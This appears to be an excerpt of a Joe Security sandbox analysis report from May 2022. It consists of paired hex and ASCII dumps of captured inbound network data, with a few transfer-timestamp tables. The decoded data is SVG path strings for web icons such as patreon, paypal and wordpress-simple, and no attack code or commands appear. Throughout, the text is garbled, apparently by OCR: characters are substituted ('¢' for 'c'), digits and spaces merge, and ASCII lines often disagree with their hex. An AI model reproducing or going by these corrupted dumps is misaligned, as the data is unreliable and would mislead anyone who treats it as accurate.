Data Ascii: 6 16.7 165.6 0zm-196-253.3113.6 125.5¢5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 39.6 9.3 10.1 11.8
1.26.5-29.1-4.59.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5
5.6-2.914.6-.619.91

Data Raw: 20 32 35 2e 32 39 20 35 30 2e 38 34 20 34 38 2e 32 35 20 35 30 2e 38 34 20 32 37 2e 35 37 20 30 20 35 30
2e 3534 2d 32 32 2e 38 35 20 35 30 2e 35 34 2d 35 30 20 30 20 32 37 2e 31 32 20 32 32 2e 31 38 20 35 30 20 34 39 2e
37 36 20 35 30 73 34 39 2d 32 32 2e 38 35 20 34 39 2d 35 30 63 30 20 32 37 2e 31 32 20 32 33 2e 35 39 20 35 30 20 35
31 2e 31 36 20 35 30 68 2e 35 63 32 37 2e 35 37 20 30 20 35 31 2e 31 36 2d 32 32 2e 38 35 20 35 31 2e 31 36 2d 35 30
20 30 20 32 37 2e 31 32 20 32 31 2e 34 37 20 35 30 20 34 39 20 35 30 73 34 39 2e 37 36 2d 32 32 2e 38 35 20 34 39 2e
37 36 2d 35 30 63 30 20 32 37 2e 31 32 20 32 33 20 35 30 20 35 30 2e 35 34 20 35 30 20 32 33 20 30 20 34 38 2e 32 35
2d 32 33 2e 37 38 20 34 38 2e 32 35 2d 35 30 2e 38 34 76 2d 32 31 2e 33 34

Data Ascii: 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12
23.59 50 51.16 50h.5¢27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 5
023 0 48.25-23.78 48.25-50.84v-21.34

Data Raw: 39 2e 34 20 31 36 2e 38 20 37 2e 36 20 32 36 2e 33 6¢ 34 35 2e 39 20 34 38 2e 31 63 2d 34 2e 37 20 33 2e
38 2d 31 33 2e 33 20 31 30 2e 34 2d 32 32 2e 38 20 32 31 2e 33 2d 32 35 2e 34 20 32 38 2e 35 2d 33 39 2e 36 20 36 34
2e 38 2d 34 30 2e 37 20 31 30 32 2e 39 2d 2e 37 20 32 38 2e 39 20 36 2e 31 20 35 37 2e 32 20 32 30 20 38 32 2e 34 6¢
2d 32 32 20 32 31 2e 35 43 37 32 2e 37 20 33 32 34 20 36 33 2e 31 20 32 38 37 2e 39 20 36 34 2e 32 20 32 35 30 2e 39
63 31 2d 34 34 2e 36 20 31 38 2e 33 2d 38 37 2e 36 20 34 37 2e 35 2d 31 32 31 2e 31 6¢ 2d 32 35 2e 33 2d 32 36 2e 34
63 2d 39 2e 36 20 31 2e 33 2d 31 39 2e 32 2d 32 2d 32 35 2e 39 2d 39 2e 31 2d 31 31 2e 33 2d 31 32 2d 31 30 2e 39 2d
33 30 2e 39 20 31 2e 31 2d 34 32 2e 34 43 37 33 2e 35 20 34 30 2e 37 20 39

Data Ascii: 9.4 16.8 7.6 26.3145.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20
82.41-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.11-25.3-26.4¢-9.6 1.3-19.2-2-25.9-9.1-11.3-12-
10.9-30.9 1.1-42.4C73.5 40.7 9

Data Raw: 2e 31 2d 31 38 2e 35 34 2d 31 2e 35 2d 31 31 2e 33 39 20 34 2e 36 35 2d 35 38 2e 37 2d 32 31 2e 35 32 2d
38 3320 32 30 2e 37 39 2d 32 31 2e 35 35 20 33 33 2e 37 36 2d 34 35 2e 32 39 20 33 33 2e 37 33 2d 36 35 2e 36 35 2d
2e 30 36 2d 33 39 2e 31 36 2d 34 38 2e 31 35 2d 35 31 2d 31 30 37 2e 34 32 2d 32 36 2e 34 37 6¢ 2d 31 32 2e 35 35 20
35 2e 33 33 63 2d 2e 30 36 2d 2e 30 35 2d 32 32 2e 37 31 2d 32 32 2e 32 37 2d 32 33 2e 30 35 2d 32 32 2e 35 37 43 31
36 39 2e 35 2d 31 38 2d 34 31 2e 37 37 20 32 31 36 2e 38 31 20 32 35 2e 37 38 20 32 37 33 2e 38 35 6¢ 31 34 2e 37 36
20 31 32 2e 35 31 61 37 32 2e 34 39 20 37 32 2e 34 39 20 30 20 30 20 30 2d 34 2e 31 20 33 33 2e 35 63 33 2e 33 36 20
33 33 2e 34 20 33 36 20 36 30 2e 34 32 20 36 37 2e 35 33 20 36 30 2e 33 38

Data Ascii: .1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-
26.471-12.55 5.33¢-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85I14.76 12.51a72.49 72.49 0 0 0-
4.1 33.5¢3.36 33.4 36 60.42 67.53 60.38
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Timestamp transferred Direction
2022-05-13 12:56:13 UTC 1165 IN
2022-05-13 12:56:13 UTC 1181 IN
2022-05-13 12:56:13 UTC 1197 IN
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Copyright Joe Security LLC 2022

Data

Data Raw: 36 36 38 20 31 31 32 2e 39 36 36 20 31 31 33 2e 32 34 33 20 31 31 32 2e 39 36 36 68 32 38 39 2e 36 31 34
63 35 32 2e 33 32 39 20 30 20 39 34 2e 39 36 39 2d 34 32 2e 33 36 32 20 39 34 2e 39 36 39 2d 39 34 2e 36 39 33 20 30
2d 34 35 2e 31 33 31 2d 33 32 2e 31 31 38 2d 38 33 2e 30 36 33 2d 37 34 2e 34 38 2d 39 32 2e 32 7a 6d 2d 32 30 2e 34
38 39 20 31 34 34 2e 35 33 48 31 31 34 2e 33 32 37 63 2d 33 39 2e 30 34 20 30 2d 37 30 2e 38 38 31 2d 33 31 2e 35 36
34 2d 37 30 2e 38 38 31 2d 37 30 2e 36 30 34 73 33 31 2e 38 34 31 2d 37 30 2e 36 30 34 20 37 30 2e 38 38 31 2d 37 30
2e 36 30 34 63 31 38 2e 38 32 37 20 30 20 33 36 2e 35 34 38 20 37 2e 34 37 35 20 34 39 2e 38 33 38 20 32 30 2e 37 36
36 20 31 39 2e 39 36 33 20 31 39 2e 39 36 33 20 35 30 2e 31 33 33 2d 31 30

Data Ascii: 668 112.966 113.243 112.966h289.614¢52.329 0 94.969-42.362 94.969-94.693 0-45.131-32.118-83.063-74
.48-92.2zm-20.489 144.53H114.327¢-39.04 0-70.881-31.564-70.881-70.604s31.841-70.604 70.881-70.604c18.827 0 36.
548 7.475 49.838 20.766 19.963 19.963 50.133-10

Data Raw: 20 31 38 2e 37 31 20 37 2e 39 36 20 31 33 2e 31 31 20 36 2e 34 34 20 32 35 2e 33 31 20 31 34 2e 38 31 20
33 35 2e 38 32 20 32 34 2e 39 37 20 31 30 2e 32 20 39 2e 39 35 20 31 38 2e 37 34 20 32 31 2e 36 20 32 35 2e 31 34 20
33 34 2e 33 34 20 31 2e 32 38 20 32 2e 37 35 20 32 2e 36 34 20 35 2e 34 36 20 33 2e 38 31 20 38 2e 32 36 20 36 2e 33
3120 31 352e 3120 31 30 20 33 31 2e 32 36 20 31 31 2e 32 33 20 34 37 2e 35 37 2e 34 31 20 34 2e 35 34 2e 34 34 20
39 2e 30 39 2e 34 35 20 31 33 2e 36 34 2e 30 37 20 31 31 2e 36 34 2d 31 2e 34 39 20 32 33 2e 32 35 2d 34 2e 33 20 33
34 2e 35 33 2d 31 2e 39 37 20 37 2e 32 37 2d 34 2e 33 35 20 31 34 2e 34 39 2d 37 2e 38 36 20 32 31 2e 31 38 2d 33 2e
31 38 20 36 2e 36 34 2d 36 2e 36 38 20 31 33 2e 31 36 2d 31 30 2e 38 34 20

Data Ascii: 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.2
66.3115.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86
21.18-3.18 6.64-6.68 13.16-10.84

Data Raw: 74 72 65 6f 6e 3a 5b 35 31 32 2c¢ 35 31 32 2c 5b 5d 2c 22 66 33 64 39 22 2c 22 4d 35 31 32 20 31 39 34 2e 38
6330 20 31 30 31 2e 33 2d 38 32 2e 34 20 31 38 33 2e 38 2d 31 38 33 2e 38 20 31 38 33 2e 38 2d 31 30 31 2e 37 20 30
2d 31 38 34 2e 34 2d 38 32 2e 34 2d 31 38 34 2e 34 2d 31 38 33 2e 38 20 30 2d 31 30 31 2e 36 20 38 32 2e 37 2d 31 38
34 2e 33 20 31 38 34 2e 34 2d 31 38 34 2e 33 43 34 32 39 2e 36 20 31 30 2e 35 20 35 31 32 20 39 33 2e 32 20 35 31 32
20 31 39 34 2e 38 7a 4d 30 20 35 30 31 2e 35 68 39 30 76 2d 34 39 31 48 30 76 34 39 31 7a 22 5d 2¢c 70 61 79 70 61 6¢
3a 5b 33 38 34 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 31 65 64 22 2c¢ 22 4d 31 31 31 2e 34 20 32 39 35 2e 39 63 2d 33 2e 35 20
31 39 2e 32 2d 31 37 2e 34 20 31 30 38 2e 37 2d 32 31 2e 3520 31 33 34

Data Ascii: treon:[512,512,[],"f3d9","M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6
82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v4912"], paypal:[384,512,[],"f1ed","M111.4
295.9¢-3.5 19.2-17.4 108.7-21.5 134

Data Raw: 2d 31 35 39 2e 36 33 32 20 34 2e 30 33 37 2d 33 34 2e 31 32 32 20 33 2e 38 34 34 2d 31 35 32 2e 33 31 36
20 38 2e 33 30 36 2d 31 35 39 2e 36 33 32 2d 34 2e 30 33 37 2d 39 2e 30 34 35 2d 31 35 2e 32 35 20 32 38 2e 39 31 38
2d 32 39 2e 32 31 34 20 34 35 2e 37 38 33 2d 33 34 2e 34 31 35 2d 33 34 2e 39 32 2d 32 39 2e 35 33 39 2d 35 31 2e 30
35 39 2d 37 30 2e 34 34 35 2d 35 31 2e 30 35 39 2d 31 30 31 2e 37 39 32 20 30 20 30 2d 33 33 2e 33 3334 20 35 34 2e
31 33 34 2d 34 34 2e 38 35 39 20 35 32 2e 37 34 31 2d 35 2e 33 37 2d 2e 36 35 2d 31 32 2e 34 32 34 2d 32 39 2e 36 34
34 20 39 2e 33 34 37 2d 39 39 2e 37 30 34 20 31 30 2e 32 36 31 2d 33 33 2e 30 32 34 20 32 31 2e 39 39 35 2d 36 30 2e
34 37 38 20 34 30 2e 31 34 34 2d 31 30 35 2e 37 37 39 43 36 30 2e 36 38 33

Data Ascii: -159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-
29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-
33.024 21.995-60.478 40.144-105.779C60.683

Data Raw: 20 33 38 2e 35 2d 35 30 2e 31 2d 2e 36 2d 31 32 35 2e 39 2d 2e 36 2d 31 32 35 2e 39 2d 31 30 2d 32 34 2e
39 2d 34 35 2e 37 2d 34 30 2e 31 2d 34 35 2e 37 2d 34 30 2e 31 6¢ 32 38 2e 38 2d 33 31 2e 38 63 32 34 2e 34 20 31 30
2e 35 20 34 33 2e 32 20 33 38 2e 37 20 34 33 2e 32 20 33 38 2e 37 2e 38 2d 32 39 2e 36 2d 32 31 2e 39 2d 36 31 2e 34
2d 32 31 2e 39 2d 36 31 2e 34 4c 32 35 35 2e 31 20 38 6¢ 34 34 2e 33 20 35 30 2e 31 63 2d 32 30 2e 35 20 32 38 2e 38
2d 32 31 2e 39 20 36 32 2e 36 2d 32 31 2e 39 20 36 32 2e 36 20 31 33 2e 38 2d 32 33 20 34 33 2e 35 2d 33 39 2e 33 20
34 33 2e 35 2d 33 39 2e 33 6¢ 32 38 2e 35 20 33 31 2e 38 63 2d 32 37 2e 34 20 38 2e 39 2d 34 35 2e 34 20 33 39 2e 39
2d 34 35 2e 34 20 33 39 2e 39 2d 31 35 2e 38 20 32 38 2e 35 2d 32 37 2e 31

Data Ascii: 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1128.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-
61.4-21.9-61.41.255.1 8144.3 50.1¢c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.328.5 31.8¢-27.4 8.9-45.4 39
.9-45.4 39.9-15.8 28.5-27.1

Data Raw: 31 63 2d 37 2e 39 31 2d 34 2e 39 2d 31 36 2e 37 34 2d 34 2e 39 34 2d 32 30 2e 32 33 2d 34 2e 39 34 2d 31
322030 2d 32 30 2e 34 36 20 37 2e 32 39 2d 32 30 2e 34 36 20 31 37 2e 36 34 20 30 20 31 32 2e 34 36 20 31 31 2e 34
38 20 31 35 2e 34 34 20 31 37 2e 38 37 20 31 37 2e 31 37 20 36 2e 31 31 20 32 20 31 33 2e 31 37 20 33 2e 32 36 20 31
33 2e 31 37 20 38 2e 37 20 30 20 34 2d 33 2e 35 32 20 37 2e 30 36 2d 39 2e 31 37 20 37 2e 30 36 61 33 31 2e 38 20 33
31 2e 38 20 30 20 30 20 31 2d 31 39 2d 36 2e 33 35 20 31 20 31 20 30 20 30 20 30 2d 31 2e 36 35 2e 37 31 6¢ 2d 32 2e
33 35 20 37 2e 35 32 63 2d 2e 34 37 2e 39 34 2e 32 33 20 31 2e 31 38 2e 32 33 20 31 2e 34 31 20 31 2e 37 32 20 31 2e
34 20 31 30 2e 33 33 20 36 2e 35 39 20 32 32 2e 37 39 20 36 2e 35 39 7a 4d

Data Ascii: 1¢-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17
3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 00 1-19-6.351 1 0 0 0-1.65.71-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72
1.4 10.33 6.59 22.79 6.59zM

Data Raw: 39 2d 32 31 2e 31 36 20 34 37 2e 30 36 2d 34 37 2e 30 36 20 34 37 2e 30 36 73 2d 34 37 2e 30 36 2d 32 31
2e 31 36 2d 34 37 2e 30 36 2d 34 37 2e 30 36 56 33 31 35 2e 31 7a 6d 34 37 2e 30 36 2d 31 38 38 2e 39 38 63 2d 32 35
2e 39 20 30 2d 34 37 2e 30 36 2d 32 31 2e 31 36 2d 34 37 2e 30 36 2d 34 37 2e 30 36 53 31 33 39 20 33 32 20 31 36 34
2e 39 20 33 32 73 34 37 2e 30 36 20 32 31 2e 31 36 20 34 37 2e 30 36 20 34 37 2e 30 36 76 34 37 2e 30 36 48 31 36 34
2e 39 7a 6d 30 20 32 33 2e 37 32 63 32 35 2e 39 20 30 20 34 37 2e 30 36 20 32 31 2e 31 36 20 34 37 2e 30 36 20 34 37
2e 30 36 73 2d 32 31 2e 31 36 20 34 37 2e 30 36 2d 34 37 2e 30 36 20 34 37 2e 30 36 48 34 37 2e 30 36 43 32 31 2e 31
36 20 32 34 33 2e 39 36 20 30 20 32 32 32 2e 38 20 30 20 31 39 36 2e 39 73

Data Ascii: 9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98¢-25.9 0-47.06-21.16-47.06-4
7.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72¢25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-
47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s

Data Raw: 2d 32 20 31 31 32 2e 32 2d 32 20 32 2e 38 20 32 2d 31 2e 39 20 31 33 2d 2e 35 20 33 38 2e 39 20 30 20 32
36 2e 34 2d 2e 34 20 31 33 2e 37 2d 34 2e 31 20 32 39 2e 39 2d 32 2e 32 20 39 2e 37 20 33 2e 34 20 32 33 2e 32 2d 31
2e 35 20 34 36 2e 39 2d 31 2e 34 20 39 2e 38 2d 39 2e 39 20 33 32 2e 37 2d 38 2e 32 20 34 33 2e 34 2e 35 20 31 20 31
20 32 20 31 2e 35 20 33 2e 35 2e 35 20 34 2e 35 20 31 2e 35 20 38 2e 35 20 34 2e 36 20 31 30 20 37 2e 33 20 33 2e 36
20 31 32 2d 33 2e 35 20 39 2e 38 20 31 31 2e 35 2d 2e 37 20 33 2e 31 2d 32 2e 36 20 31 32 20 31 2e 35 20 31 35 20 34
2e 34 20 33 2e 37 20 33 30 2e 36 20 33 2e 34 20 33 36 2e 35 2e 35 20 32 2e 36 2d 31 2e 35 20 31 2e 36 2d 34 2e 35 20
36 2e 34 2d 37 2e 34 20 31 2e 39 2d 2e 39 20 31 31 2e 33 2d 2e 34 20 31 31

Data Ascii: -2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.243.45 11
21535545158546107.33.612-359.811.5-.73.1-2.6121.5154.43.7 30.6 3.4 36.5.52.6-1.5 1.6-4.5 6.4-7.4
19-9113-411
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Timestamp transferred Direction
2022-05-13 12:56:13 UTC 1293 IN
2022-05-13 12:56:13 UTC 1326 IN
2022-05-13 12:56:13 UTC 1342 IN
2022-05-13 12:56:13 UTC 1358 IN
2022-05-13 12:56:13 UTC 1374 IN
2022-05-13 12:56:13 UTC 1390 IN
2022-05-13 12:56:13 UTC 1406 IN
2022-05-13 12:56:13 UTC 1422 IN
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Data

Data Raw: 20 31 30 2e 31 2d 37 2e 31 20 31 37 2e 37 2d 31 34 2e 38 20 31 31 2e 39 2d 35 2e 35 20 31 32 2e 37 2d 35
2e 3120 32 30 2e 32 2d 31 36 2d 31 32 2e 37 2d 36 2e 34 2d 31 35 2e 37 2d 31 33 2e 37 2d 31 38 2e 34 2d 31 38 2e 38
7a 6d 33 2e 37 2d 31 30 32 2e 33 63 2d 36 2e 34 2d 33 2e 34 2d 31 30 2e 36 20 33 2d 31 32 2e 33 20 31 38 2e 39 73 32
2e 35 20 32 39 2e 35 20 31 31 2e 38 20 33 39 2e 36 20 31 38 2e 32 20 31 30 2e 36 20 32 36 2e 31 20 33 20 33 2e 34 2d
32 33 2e 36 2d 31 31 2e 33 2d 34 37 2e 37 61 33 39 2e 35 37 20 33 39 2e 35 37 20 30 20 30 20 30 2d 31 34 2e 32 37 2d
31 33 2e 38 7a 6d 2d 34 2e 37 20 34 36 2e 33 63 35 2e 34 20 32 2e 32 20 31 30 2e 35 20 31 2e 39 20 31 32 2e 33 2d 31
30 2e 36 76 2d 34 2e 37 6¢ 2d 31 2e 32 2e 35 63 2d 34 2e 33 2d 33 2e 31 2d

Data Ascii: 10.1-7.1 17.7-14.8 11.9-5.512.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3¢-6.4-3.4-10.6 3-12.3 1
8.952.529.511.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3¢5.4 2.2 10.5 1.9
12.3-10.6v-4.7I-1.2.5¢-4.3-3.1-

Data Raw: 2e 35 2d 35 31 2e 38 2d 31 37 30 2e 35 2d 37 38 2e 37 2d 31 37 30 2e 35 2d 31 36 35 2e 33 76 2d 31 32 36
2e 34 63 31 30 32 2e 33 2d 39 33 2e 38 20 32 33 31 2e 36 2d 31 30 30 20 33 34 30 2e 39 2d 38 39 2e 38 7a 6d 2d 32 30
39 2e 36 2d 31 30 37 2e 34 76 32 31 32 2e 38 68 33 32 2e 37 76 2d 36 38 2e 37 63 32 34 2e 34 20 37 2e 33 20 37 31 2e
37 2d 32 2e 36 20 37 31 2e 37 2d 37 38 2e 35 20 30 2d 39 37 2e 34 2d 38 30 2e 37 2d 38 30 2e 39 32 2d 31 30 34 2e 34
2d 36 35 2e 36 7a 6d 33 32 2e 37 20 31 31 37 2e 33 76 2d 31 30 30 2e 33 63 38 2e 34 2d 34 2e 32 20 33 38 2e 34 2d 31
32 2e 37 20 33 38 2e 34 20 34 39 2e 33 20 30 20 36 37 2e 39 2d 33 36 2e 34 20 35 31 2e 38 2d 3338 2e 34 2035 31 7a
6d 37 39 2e 31 2d 38 36 2e 34 63 2e 31 20 34 37 2e 33 20 35 31 2e 36 20 34

Data Ascii: .5-51.8-170.5-78.7-170.5-165.3v-126.4¢102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68
.7c24.47.371.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4
51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 4

Data Raw: 37 20 38 32 2e 38 2d 31 38 34 2e 35 20 31 38 34 2e 36 2d 31 38 34 2e 35 20 34 39 2e 33 20 30 20 39 35 2e
36 20 31 39 2e 32 20 31 33 30 2e 34 20 35 34 2e 31 20 33 34 2e 38 20 33 34 2e 39 20 35 36 2e 32 20 38 31 2e 32 20 35
36 2e 31 20 31 33 30 2e 35 20 30 20 31 30 31 2e 38 2d 38 34 2e 39 20 31 38 34 2e 36 2d 31 38 36 2e 36 20 31 38 34 2e
36 7a 6d 31 30 31 2e 32 2d 31 33 38 2e 32 63 2d 35 2e 35 2d 32 2e 38 2d 33 32 2e 38 2d 31 36 2e 32 2d 33 37 2e 39 2d
31 38 2d 35 2e 31 2d 31 2e 39 2d 38 2e 38 2d 32 2e 38 2d 31 32 2e 35 20 32 2e 38 2d 33 2e 37 20 35 2e 36 2d 31 34 2e
3320 31 38 2d 31 37 2e 36 20 32 31 2e 38 2d 33 2e 32 20 33 2e 37 2d 36 2e 35 20 34 2e 32 2d 31 32 20 31 2e 34 2d 33
32 2e 36 2d 31 36 2e 33 2d 35 34 2d 32 39 2e 31 2d 37 35 2e 35 2d 36 36 2d

Data Ascii: 7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6
184.6zm101.2-138.2¢-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-
32.6-16.3-54-29.1-75.5-66-

Data Raw: 39 2e 34 20 31 32 35 2e 35 20 31 39 2e 34 20 32 35 36 53 31 32 35 2e 36 20 34 39 32 2e 36 20 32 35 36 20
34 39 32 2e 36 63 31 33 30 2e 35 20 30 20 32 33 36 2e 36 2d 31 30 36 2e 31 20 32 33 36 2e 36 2d 32 33 36 2e 36 7a 22
5d 2¢ 22 77 6f 72 64 70 72 65 73 73 2d 73 69 6d 70 6¢ 65 22 3a 5b 35 31 32 2¢ 35 31 32 2¢ 5b 5d 2¢ 22 66 34 31 31 22 2
€22 4d 32 35 36 20 38 43 31 31 39 2e 33 20 38 20 38 20 31 31 39 2e 32 20 38 20 32 35 36 63 30 20 31 33 36 2e 37 20
31 31 31 2e 3320 32 34 38 20 32 34 38 20 32 34 38 73 32 34 38 2d 31 31 31 2e 33 20 32 34 38 2d 32 34 38 43 35 30 34
20 31 31 39 2e 32 20 33 39 32 2e 37 20 38 20 32 35 36 20 38 7a 4d 33 33 20 32 35 36 63 30 2d 33 32 2e 33 20 36 2e 39
2d 36 33 20 31 39 2e 33 2d 39 30 2e 37 6¢ 31 30 36 2e 34 20 32 39 31 2e 34

Data Ascii: 9.4 125.5 19.4 256S125.6 492.6 256 492.6¢130.5 0 236.6-106.1 236.6-236.62"],"wordpress-simple":[512,512,
[],"f411","M256 8C119.3 8 8 119.2 8 256¢0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33
256¢0-32.3 6.9-63 19.3-90.71106.4 291.4

Data Raw: 2e 33 20 30 20 31 37 6¢ 2d 39 39 20 39 39 63 2d 37 2e 36 20 37 2e 36 2d 32 30 2e 35 20 32 2e 32 2d 32 30
2e 35 2d 38 2e 35 76 2d 36 37 48 31 34 30 63 2d 36 2e 36 20 30 2d 31 32 2d 35 2e 34 2d 31 32 2d 31 32 7a 22 5d 2c 22
6172 72 6f 77 2d 61 6¢ 74 2d 63 69 72 63 6¢ 65 2d 75 70 22 3a 5b 35 31 32 2¢ 35 31 32 2c 5b 5d 2¢ 22 66 33 35 62 22 2
€ 22 4d 32 35 36 20 35 30 34 63 31 33 37 20 30 20 32 34 38 2d 31 31 31 20 32 34 38 2d 32 34 38 53 33 39 33 20 38 20
32 35 36 20 38 20 38 20 31 31 39 20 38 20 32 35 36 73 31 31 31 20 32 34 38 20 32 34 38 20 32 34 38 7a 6d 30 2d 34 34
38 63 31 31 30 2e 35 20 30 20 32 30 30 20 38 39 2e 35 20 32 30 30 20 32 30 30 73 2d 38 39 2e 35 20 32 30 30 2d 32 30
30 20 32 30 30 53 35 36 20 33 36 36 2e 35 20 35 36 20 32 35 36 20 31 34 35

Data Ascii: .3 0 171-99 99c¢-7.6 7.6-20.5 2.2-20.5-8.5v-67H140c-6.6 0-12-5.4-12-122"],"arrow-alt-circle-up*:[512,512,[],"
35b","M256 504¢137 0 248-111 248-248S393 8 256 8 8 119 8 2565111 248 248 248zm0-448¢110.5 0 200 89.5 200 200s
-89.5 200-200 200S56 366.5 56 256 145

Data Raw: 2d 39 32 2e 32 63 2d 37 2e 38 2d 37 2e 38 2d 32 30 2e 35 2d 37 2e 38 2d 32 38 2e 33 20 30 4c 33 32 38 20
31 36 33 2e 37 6¢ 2d 31 37 2e 38 2d 31 37 2e 38 63 2d 37 2e 38 2d 37 2e 38 2d 32 30 2e 35 2d 37 2e 38 2d 32 38 2e 33
20 30 2d 37 2e 38 20 37 2e 38 2d 37 2e 38 20 32 30 2e 35 20 30 20 32 38 2e 33 6¢ 31 37 2e 39 20 31 37 2e 39 2d 31 37
2e 39 20 31 37 2e 39 63 2d 37 2e 38 20 37 2e 38 2d 37 2e 38 20 32 30 2e 35 20 30 20 32 38 2e 33 20 37 2e 38 20 37 2e
38 20 32 30 2e 35 20 37 2e 38 20 32 38 2e 33 20 30 6¢ 31 37 2e 38 2d 31 37 2e 38 20 31 37 2e 38 20 31 37 2e 38 63 37
2e 38 20 37 2e 38 20 32 30 2e 35 20 37 2e 38 20 32 38 2e 33 20 30 20 37 2e 38 2d 37 2e 38 20 37 2e 38 2d 32 30 2e 35
20 30 2d 32 38 2e 33 6¢ 2d 31 37 2e 38 2d 31 38 20 31 37 2e 39 2d 31 37 2e

Data Ascii: -92.2¢-7.8-7.8-20.5-7.8-28.3 0L.328 163.7|-17.8-17.8¢c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3117.9 17
.9-17.917.9¢-7.8 7.8-7.8 20.50 28.3 7.8 7.8 20.5 7.8 28.3 0117.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5
0-28.31-17.8-18 17.9-17.

Data Raw: 32 20 33 32 2d 31 34 2e 33 20 33 32 2d 33 32 7a 6d 31 32 38 2d 33 32 63 2d 31 37 2e 37 20 30 2d 33 32 20
31 34 2e 33 2d 33 32 20 33 32 73 31 34 2e 33 20 33 32 20 33 32 20 33 32 20 33 32 2d 31 34 2e 33 20 33 32 2d 33 32 2d
31 34 2e 33 2d 33 32 2d 33 32 2d 33 32 7a 6d 2d 38 30 20 31 31 32 63 2d 33 35 2e 36 20 30 2d 38 38 2e 38 20 32 31 2e
33 2d 39 35 2e 38 20 36 31 2e 32 2d 32 20 31 31 2e 38 20 39 20 32 31 2e 35 20 32 30 2e 35 20 31 38 2e 31 20 33 31 2e
32 2d 39 2e 36 20 35 39 2e 34 2d 31 35 2e 33 20 37 35 2e 33 2d 31 35 2e 33 73 34 34 2e 31 20 35 2e 37 20 37 35 2e 33
20 31 35 2e 33 63 31 31 2e 34 20 33 2e 35 20 32 32 2e 35 2d 36 2e 33 20 32 30 2e 35 2d 31 38 2e 31 2d 37 2d 33 39 2e
39 2d 36 30 2e 32 2d 36 31 2e 32 2d 39 35 2e 38 2d 36 31 2e 32 7a 22 5d 2¢

Data Ascii: 2 32-14.3 32-32zm128-32¢-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112¢-35.6
0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3544.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-
18.1-7-39.9-60.2-61.2-95.8-61.22"],

Data Raw: 33 32 48 31 35 36 2e 38 43 31 34 30 2e 38 39 34 20 30 20 31 32 38 20 31 34 2e 33 32 37 20 31 32 38 20 33
32 76 36 34 63 30 20 38 2e 35 38 34 20 33 2e 30 34 38 20 31 36 2e 33 37 33 20 38 20 32 32 2e 31 32 76 32 2e 36 37 39
63 30 20 36 2e 39 36 34 2d 36 2e 31 39 33 20 31 34 2e 38 36 32 2d 32 33 2e 36 36 38 20 33 30 2e 31 38 33 6¢ 2d 2e 31
34 38 2e 31 32 39 2d 2e 31 34 36 2e 31 33 31 63 2d 39 2e 39 33 37 20 38 2e 38 35 36 2d 32 30 2e 38 34 31 20 31 38 2e
